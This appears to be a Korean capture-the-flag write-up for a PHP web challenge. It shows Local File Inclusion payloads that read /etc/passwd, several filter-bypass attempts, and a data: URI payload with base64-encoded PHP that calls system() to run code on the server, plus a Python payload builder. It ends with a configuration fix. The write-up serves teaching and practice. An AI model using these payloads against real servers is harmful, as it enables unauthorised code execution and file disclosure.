PHP LFI
web
문제
문제 분석
문제 웹사이트에 접속하면 다음과 같은 화면이 나타난다.

hello, test 링크로 들어가보았다.

테스트 하기 위한 “파일” 이라고 설명하고 있다.

PHP 에서 발생할 수 있는 취약점 중, 파일에 관련된 취약점은 Local File Inclusion (LFI), Remote File Inclusion (RFI) 등이 있으며, 이 문제의 이름에서 알 수 있듯이 LFI 취약점을 사용하여 플래그를 획득하면 되는 문제이다.
또한 플래그는 /flag 파일을 실행하여 얻을 수 있다고 한다.
LFI 란?
Local File Inclusion (LFI) 는 웹 서버에서 발생하는 취약점 중 하나로, 웹 서버에서 파일을 읽어오는 과정에서 발생하는 취약점이다.
예를 들어, 여러 페이지가 있는 웹사이트에서, include() 등 함수를 사용하여 다른 페이지(파일)를 불러올 때, 사용자가 입력한 값을 그대로 사용하게 되면, 사용자가 입력한 값을 조작하여 다른 파일을 불러올 수 있게 된다.
공격 방법

기본적인 LFI에 사용되는 경로를 삽입해보았다.
?inc=/etc/passwd 를 입력하여 리눅스 사용자 정보를 확인할 수 있었다.
하지만 이 문제에서는 /flag 파일을 실행해야 함으로 다른 방법을 찾아야 한다.
/flag 를 삽입해보았으나, php 스크립트에서 필터링이 걸려있는 것으로 보인다. 필터링을 우회하기 위해, Percent Encoding을 사용하여 /flag 를 인코딩하여 삽입해보았다.
?inc=/fl%61g 를 입력하여 실행하였으나, 일반 문자열로 실행할 때와 마찬가지로 문자열이 필터링 되는것을 확인하였다.

Null Byte, 더블 인코딩, Path and Dot Truncation 등을 시도하였으나 원하는 FLAG 파일은 얻을 수 없었다.
PHP Wrapper 를 사용한 페이로드를 사용해보았다.
PHP에서의 wrapper 란?
PHP메뉴얼 에서는 wrapper를 다음과 같이 설명하고 있다.
PHP comes with many built-in wrappers for various URL-style protocols for use with the filesystem functions such as fopen(), copy(), file_exists() and filesize().
PHP에는 fopen(), copy(), file_exists() 및 filesize() 와 같은 파일 시스템 함수와 함께 사용할 수 있는 다양한 URL 스타일 프로토콜에 대한 많은 내장 래퍼가 있습니다.
파일 시스템 함수에, 실제 파일의 경로 대신 URL 스타일의 프로토콜 (http, ftp, data, php, zip 등) 을 사용할 수 있게 해주는 것이다.
except:// 래퍼를 사용해보자. 이 래퍼는 시스템 명령어를 실행하여 결과를 내용으로 반환하는 래퍼이다.
?inc=except://ls 를 입력하여 실행하였으나, 필터링이 걸려있는 것을 확인하였다.

URL 프로토콜 또한 필터링 하는것을 확인하였다.

위 글과 이 사진으로 ://, flag 등을 필터링 하는것을 알 수 있다.
:// 문자열을 사용하지 않고 필터링을 우회할 수 있는 방법을 찾아보자.
Data URI Scheme 활용
PHP 메뉴얼의 data:// 문서를 참고하면, data 프로토콜 래퍼가 RFC 2397 표준을 따르고 있음을 알 수 있다.
RFC 2397 문서에 따르면, Data URI의 형식은 다음과 같다.
data:[<mediatype>][;base64],<data>
이를 통해, data 프로토콜은 파일의 콘텐츠를 URL로 직접 삽입할 수 있으며, base64 인코딩도 지원된다는 것을 확인할 수 있다.
이제 이를 활용하여 PHP 코드가 실행되도록 페이로드를 구성해 보자.
?inc=data:text/plain;base64,PD9waHAgZWNobyAiSGVsbG8hIiA/Pg==
<?php echo "Hello!"; ?> 를 base64로 인코딩하여 삽입하였다.
서버에서는 다음과 같이 실행된다는 것을 유추할 수 있다.
<?php
$inc = $_GET['inc'];
// (필터링 함수)
include($inc); // -> inc 에는 디코딩된 PHP 코드가 들어가게 되고, 이를 실행하게 된다.
?>

위와 같이 Hello! 가 출력되는 것을 확인할 수 있다.
이제 이를 활용하여 FLAG 파일을 실행해보자.
PHP 에서는 프로세스를 실행할 때, system(), exec(), shell_exec() 등의 함수를 사용하여 프로세스를 실행할 수 있다.
system() 함수를 사용하여 /flag 바이러리를 실행하도록 페이로드를 구성해보자.
import base64
payload = "<?php system('/flag'); ?>"
# 결과값: data:text/plain;base64,PD9waHAgc3lzdGVtKCcvZmxhZycpOyA/Pg==
print(f"data:text/plain;base64,{base64.b64encode(payload.encode()).decode()}")

flag 바이너리를 실행하여 플래그를 획득할 수 있다.
flag에서도 볼수 있듯이 lfi 라기보단 php의 allow_url_include 취약점에 더 가까운 것 같다
주석을 추가한 index.php 의 코드
```php hellotest
"; } phpinfo(); //php.ini:allow_url_include=On //php.ini:allow_url_fopen=On ?> ```취약점 해결방법
- PHP 설정에서
allow_url_include와allow_url_fopen를Off로 설정한다.